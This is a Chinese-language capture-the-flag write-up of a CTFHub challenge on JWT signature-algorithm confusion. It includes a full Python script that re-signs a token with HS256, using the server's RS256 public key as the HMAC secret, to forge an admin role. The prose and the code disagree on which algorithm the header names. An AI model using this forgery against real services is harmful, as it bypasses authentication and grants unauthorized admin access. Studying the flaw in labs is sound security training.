CTFHub:第八十五关——JSON Web Token——修改签名算法
原创
君陌社区
君陌社区
君陌社区渗透安全笔记
2026年7月14日 20:00
江苏
在小说阅读器读本章
去阅读
CTFHub网址:【https://www.ctfhub.com/#/index】
登录账号
点击技能树
选择“web进阶-JSON Web Token-修改签名算法”开启题目
题目描述: 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的
漏洞原理:服务器允许将非对称签名算法(RS256)改为对称算法(HS256),攻击者可直接使用公开的公钥作为对称密钥伪造管理员签名,从而绕过身份验证
单击打开链接进入靶场实战练习环境,显示了一个登陆页面和一段源码
输入用户名admin,密码123456,点击登录,显示显示token和源码
login报文,token的第一部分解密后为{\"typ\":\"JWT\",\"alg\":\"RS256\"}
index报文,token的第二部分解密后为{\"username\":\"admin\",\"role\":\"guest\"}
将index报文发送到repeater
打开Json.cn网站,将token上传解密得到头部、载荷、私钥和公钥
回到靶场练习实战环境登陆后页面下载publickey.pem
并将其放在与脚本用以目录下
接下来使用脚本来完成token计算,代码如下所示。
第一部分依旧是{\"typ\":\"JWT\",\"alg\":\"RS256\"}
将第二部分改为{\"username\":\"admin\",\"role\":\"admin\"}
# 君陌社区# CTFHub:第八十五关——JSON Web Token——修改签名算法# coding=GBKimport hmacimport hashlibimport base64import requests
# 1. 下载公钥(如果尚未下载)# url = \"http://challenge-<id>.ctfhub.com:port/publickey.pem\"# r = requests.get(url)# with open(\"publickey.pem\",\"wb\") as f:# f.write(r.content)
# 2. 读取公钥文件with open('publickey.pem', 'r') as f: key = f.read()
# 3. 定义新的Header和Payload# 将算法改为HS256,角色改为adminheader = '{\"typ\": \"JWT\", \"alg\": \"HS256\"}'payload = '{\"username\": \"admin\", \"role\": \"admin\"}'
# 4. 进行Base64Url编码def base64url_encode(data): return base64.urlsafe_b64encode(data.encode(\"utf-8\")).decode(\"utf-8\").rstrip(\"=\")
encoded_header = base64url_encode(header)encoded_payload = base64url_encode(payload)
# 5. 拼接Token的前两部分token = encoded_header + \".\" + encoded_payload
# 6. 使用公钥作为HMAC的密钥,计算签名signature = base64.urlsafe_b64encode( hmac.new( bytes(key, \"UTF-8\"), token.encode(\"utf-8\"), hashlib.sha256 ).digest()).decode(\"UTF-8\").rstrip(\"=\")
# 7. 组合成最终的JWTforged_token = token + \".\" + signatureprint(forged_token)
将生伪造的token输入到请求的token字段发送,得到flag数据
提交flag数据,完成靶场实战练习
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论